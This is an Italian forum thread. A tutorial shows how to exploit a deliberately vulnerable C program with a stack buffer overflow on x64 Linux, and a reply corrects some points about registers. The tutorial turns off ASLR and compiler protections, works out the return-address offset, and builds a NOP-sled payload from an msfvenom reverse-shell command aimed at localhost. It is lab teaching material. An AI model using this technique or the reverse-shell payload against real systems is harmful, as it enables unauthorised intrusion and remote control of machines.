Guida Buffer Overflow base su sistemi x64

0xbro

Super Moderatore
24 Febbraio 2017
4,232
166
3,305
1,645
Iniziando ad approcciarmi al mondo della programmazione di exploit, mi sono messo a studiare su un vecchio libro, molto valido, ma pur sempre vecchio: "Hacking: the art of exploitation"
Il libro è ben spiegato, pieno di esempi e modelli di codice, ma che ora come ora non sono più validi (o per lo meno, solo in parte, a causa delle differenze tra x86 e x64).
Mi sono messo quindi a cercare le principali differenze tra la programmazione di shellcode x86 e x64, e ho trovato diversi articoli interessanti:

PS. Tutti i siti sono ovviamente in inglese, ecco perché ho pensato di fare un riassuntino (che mai sarà un riassunto) in italiano.

Nota: si dà per scontato che il lettore sappia cosa siano i registri della CPU e come funzioni grossolanamente la memoria. In caso non lo sappia, è invitato a ricercare tali informazioni su internet o leggere parte del libro citato in precedenza (the art of exploitation - capitolo 0x300), al fine di acquisire i concetti base per comprendere le differenze che verranno spiegate nella release.


Differenze tra x86 e x64
  1. La principale differenza subito da sapere è la dimensione degli indirizzi di memoria disponibili: in un sistema a 32 bit gli indirizzi sono (2^32)-1, quindi da 0x00000001 fino a 0xFFFFFFFF. In un sistema a 64 bit invece gli indirizzi sono MOLTO di più: (2^64)-1, quindi da 0x0000000000000001 a 0xFFFFFFFFFFFFFFFF.

  2. La seconda differenza, legata alla prima, sono i tipi di indirizzi utilizzabili (soprattutto in fase di fuzzing): mentre nei sistemi a 32bit ogni indirizzo andava bene per essere utilizzato (vedremo bene cosa si intende quando creeremo il primo programma), per i sistemi x64 non tutti gli indirizzi possono essere utilizzati. Dei 2^64 byte disponibili, sono definiti INDIRIZZI CANONICI (quindi utilizzabili) la fascia da 0x0000000000000000 a 0x00007FFFFFFFFFFF e da 0xFFFF800000000000 a 0xFFFFFFFFFFFFFFFF (come mostrato dagli indirizzi, nell'user space si possono utilizzare solo 47bit). Ogni altro indirizzo fuori da questo range è definito come non-canonico.
    Per ulteriori dettagli leggere qui e qui

  3. La terza differenza, anch'essa molto determinante, legata sempre alle dimensioni maggiori del sistema x64 rispetto a x86, sono i registri. La dimensione è passata a 64 bit, il nome è cambiato da E* a R* (es. da EIP a RIP) e sono stati aggiunti 8 nuovi registri: R8, R9, R10 ... R15.
    Resta comunque possibilie accedere a segmenti più piccoli di questi registri.
    Vedere la seguente foto per maggiori chiarimenti sulla dimensione dei registri: https://nullprogram.com/img/x86/register.png

  4. A seguito della novità di dimensione dei registri, anche il passaggio di parametri allo stack è cambiato: mentre su x86 tutti i parametri di una funzione venivano passati direttamente nello stack, su x64 non è più così. Essendoci più registri, e per lo più con dimensione maggiore, si è deciso di iniziare a utilizzare quelli per il passaggio dei parametri. Su sistemi a 64 bit quindi, i primi 6 parametri vengono passati rispettivamente nei registri RDI, RSI, RDX, RCX, R8 e R9, mentre a partire dal 7 in poi vengono passati tramite lo stack.

  5. La red zone: da definizione la red zone è un'area di 128 byte subito successiva al valore puntato da RSP, utilizzata a scopo riservato, che non può essere modificata da segnali o interrupt. Può essere utilizzata dalle funzione come area di salvataggio dati temporanei o come spazio per compiere le azioni di prologue e epilogue.
    La particolarità però la si nota nelle funzioni "foglia" (quelle che non richiamano altre funzioni). Nel loro caso la red zone è usata direttamente per contenere tutte le variabili locali di quella funzione. Quando ciò avviene, gli indirizzi di memoria di RBP e RSP coincidono (il compilatore dà per scontato che nei successivi 128 bytes ci siano dati utili alla funzione, quindi non deve perdere tempo nel spostare RSP per creare spazio di memoria da deallocare successivamente).
    Leggere qua per informazioni più dettagliate sul passaggio di parametri e red zone

Bene, ora che abbiamo elencato le principali differenze, dobbiamo impostare l'ambiente per esercitarsi.
Essendo una guida didattica, non ricreeremo un ambiente "real life", ma solo una situazione vulnerabile a questo genere di attacco.

Come prima cosa, dobbiamo disattivare la randomizzazione della memoria (vedi qui per maggiori dettagli)
Diventiamo quindi utenti root e digitiamo
Bash:
echo 0 > /proc/sys/kernel/randomize_va_space
Attenzione: questa modifica è solo temporanea! Al reboot del PC il valore tornerà quello di default

Creiamo poi il nostro programma vulnerabile (lo salverò come vuln.c)
C:
#include<stdio.h>
#include <unistd.h>

int vuln() {

    char arr[400];
    int return_status;

    printf("What's your name?\n");
    return_status = read(0, arr, 800);

    printf("Hey %s", arr);

    return 0;
}

int main(int argc, char *argv[]) {
    // Call vulnerable function
    vuln();

    return 0;
}
e compiliamolo
NB. Per compilarlo, useremo i parametri -fno-stack-protector, -z execstack e -no-pie in modo da disabilitare le protezioni effettuate dal compilatore
Bash:
gcc vuln.c -o vuln -g -fno-stack-protector -z execstack -no-pie

Ottimo, ora siamo pronti al 100% per iniziare la nostra prima esercitazione: ottenere una shell su un sistema x64 tramite un buffer overflow.
Nel mio caso utilizzo come distro Debian 9 e utilizzerò come debugger gdb-peda

Come prima cosa dobbiamo trovare un errore di segmentazione. Diamo quindi un input superiore alla dimensione del buffer.
Nota: Per aiutarmi userò uno script in perl (si può fare la stessa cosa anche in Python o BASH) che mi stampi 500 "A" dentro un file, in modo da avere già il file pronto per l'input.
Screenshot from 2019-05-21 18-45-59.png


Bene, abbiamo approvato che un input di 500 caratteri genera un errore!
Per avere più dettagli sullo stato della memoria al momento del crash, eseguiamo lo stesso comando con gdb e osserviamo
Screenshot from 2019-05-21 18-52-43.png


Possiamo notare come il nostro input di 500 caratteri (la "A" è il corrispondente di 0x41) abbiano sovrascritto gran parte dei registri, ma non quello che interessa a noi
Screenshot from 2019-05-21 18-52-47.png


Il registro RIP non è stato sovrascritto... come mai? La risposta è perchè l'indirizzo con cui abbiamo sovrascritto il return address dello stack NON è canonico. In x64 il registro RIP deve per forza contenere un indirizzo canonico, altrimenti non viene caricato. Nel nostro caso il return address è stato ricoperto con 0x4141414141414141 che non è canonico, per cui RIP non ha assunto il valore che volevamo.

Ricordiamoci che il nostro obiettivo per ora è controllare il registro RIP in modo da fargli puntare l'indirizzo di memoria che vogliamo noi!

Ma allora come fare per prendere il controllo di questo benedetto registro?
Per prima cosa dobbiamo farci aiutare da un "Pattern". Cos'è un pattern? E' una sequenza di caratteri che ci permette, osservando in quale registro si trovino, di determinare la distanza dal primo carattere della stringa. Nel nostro caso useremo questa tecnica per determinare la posizione dell' SFP e del return value.
NB. Non è obbligatorio usare gdb-peda per creare il pattern. Ci sono altri tool disponibili, tra cui fuzz_rbp.in di metasploit

Screenshot from 2019-05-21 19-57-26.png


Ora anzichè usare le 500 "A" useremo questo file, in modo tale da localizzare la distanza del SFP dall'inizio della nostra stringa (quindi dall'inizio del nostro input nello stack). Così facendo, saremo anche in grado di localizzare il return address, poichè si trova sempre 8 byte dopo il SFP.
Dentro gdb-peda diamo il comando run < pat.txt e guardiamo la memoria
Screenshot from 2019-05-21 20-04-49.png

Come vediamo, RBP (evidenziato nell'immagine) è stato sovrascritto con "snAsCAs-"
Anche RSP è stato sovrascritto, e contiene "0x41287341".
Con questi due dati sappiamo quindi che il nostro buffer, all'interno dello stack, è riuscito a raggiungere e sovrascrivere sia il SFP (lo dimostra RBP) sia il return value (lo dimostra invece RSP).
Procediamo quindi a calcolare gli offsets
Screenshot from 2019-05-21 20-11-44.png

Come mostrato in figura, il SFP e il retrun value sono "vicini di memoria" (uno viene trasportato in RBP e l'altro in RSP): la loro differenza infatti è di soli 8 byte, giusto un indirizzo di memoria.
Sappiamo quindi che a 416 byte di distanza dall'inizio del buffer si trova il nostro SFP, mentre 8 byte dopo il nostro return value.
Verifichiamo creando un file di input con i valori definiti
Screenshot from 2019-05-21 20-30-26.png

Attenzione! Per chi genera il file con uno script bash è OBBLIGATORIO il comando -en altrimenti il file di testo non sarà adeguato all'input. Per chiarimenti leggere il manuale man echo.

Avviamo gdb con il file appena creato e controlliamo se RIP viene sovrascritto
r < expl.txt
Screenshot from 2019-05-21 20-35-51.png

Perfetto! come possiamo vedere l'errore di segmentazione si manifesta su 0x0000434343434343, cioè le lettere "C" del file che abbiamo scritto. Stiamo controllando il registro RIP!
Ora che è in nostro controllo possiamo concludere il procedimento di exploit e spawnare la shell.
Per farlo dobbiamo creare un payload del tipo NOP...+Shellcode+AAAA....+return.
Ma che return dobbiamo scegliere? Semplice, uno che contenga uno dei nostri NOP. L'istruzione NOP significa "no operation" e serve per creare il nostro Nop Sled. Il Nop Sled in parole povere è uno "scivolo" che porterà il nostro programma a eseguire lo shellcode. Quando il RIP incontra un NOP, passa a leggere l'struzione successiva. Noi abbiamo creato una catena di NOP che conducono a uno shellcode. Ci basterà quindi azzeccare un'area di memoria con un NOP per spawnare la nostra shell. Io nel mio caso ho scelto 0x7fffffffde5c come valore di return.

Costruiamo il payload!

Screenshot from 2019-05-21 22-45-52.png


Vi starete chiedendo come ho fatto?
Pura matematica :)
Sappiamo che il payload per ricoprire il valore di return deve essere lungo 430 byte.
Siccome abbiamo molto margine di spazio, ho scelto un payload reverse_tcp che occupa 119 byte (lo si può ricavare tramite il comando msfvenom -p linux/x64/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b '\x00' -f python).
430-119=311. Disponiamo di ancora molto spazio, quindi possiamo permetterci 200 byte di NOP. Calcoliamo che dobbiamo ancora tenere conto dell'indirizzo di return scelto in precedenza, che sono altri 6 byte (0x7fffffffde5c).
311-200-6=105. Abbiamo ancora 105 byte che si possono distribuire tra NOP e filler. Io li userò tutti come filler.
Componiamo quindi il payload seguendo la formula NOP+SHELL+FILLER+RETURN.

Ci siamo. Avviamo un listener su metasploit e mettiamoci in ascolto su 127.0.0.1:4444
Dopodichè avviamo il nostro programma vulnerabile passandogli il payload appena generato.

Screenshot from 2019-05-21 23-03-30.png


Voilà! Siamo dentro! Abbiamo spawnato la nostra shell tramite un buffer overflow! Ora possiamo fare ciò che vogliamo con il pc appena exploitato, ne abbiamo il pieno controllo!

Ottimo lavoro :)


Note di fine progetto:
Spero che il lavoro sia stato utile e abbia aiutato qualcuno a comprendere i procedimenti e le differenze. Ovviamente la situazione non è "reale" ma a puro scopo informativo e dimostrativo.
Detto questo non mi assumo come sempre nessuna responsabilità di ciò che farete tramite queste informazioni. Ricordate che craccare reti/programmi/account/siti altrui senza un esplicito consenso è considerato reato e si è punibili e perseguibili legalmente.


Autore: 0xbro
Creative Commons License
This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License.
 
  • Mi piace
Reazioni: 0xGhost

oscarandrea

Utente Emerald
7 Dicembre 2014
1,727
41
268
523
Il passaggio dei parametri ad una procedura in assembly x86 può avvenire anche attraverso i registri.
Quando dici che è cambiato il nome ai registri che iniziano con la e chi non ha mai programmato in assembly potrebbe pensare che non è possibile accedere ad essi, mentre in realtà sono segmenti a 32bit di registri 64bit che appunto iniziano con la r, è sempre possibile accedere al loro segmento a 32,16 ed a 8 bit.
Per il resto dando un rapida occhiata sembra un buona guida, bravo!
 
  • Mi piace
Reazioni: 0xbro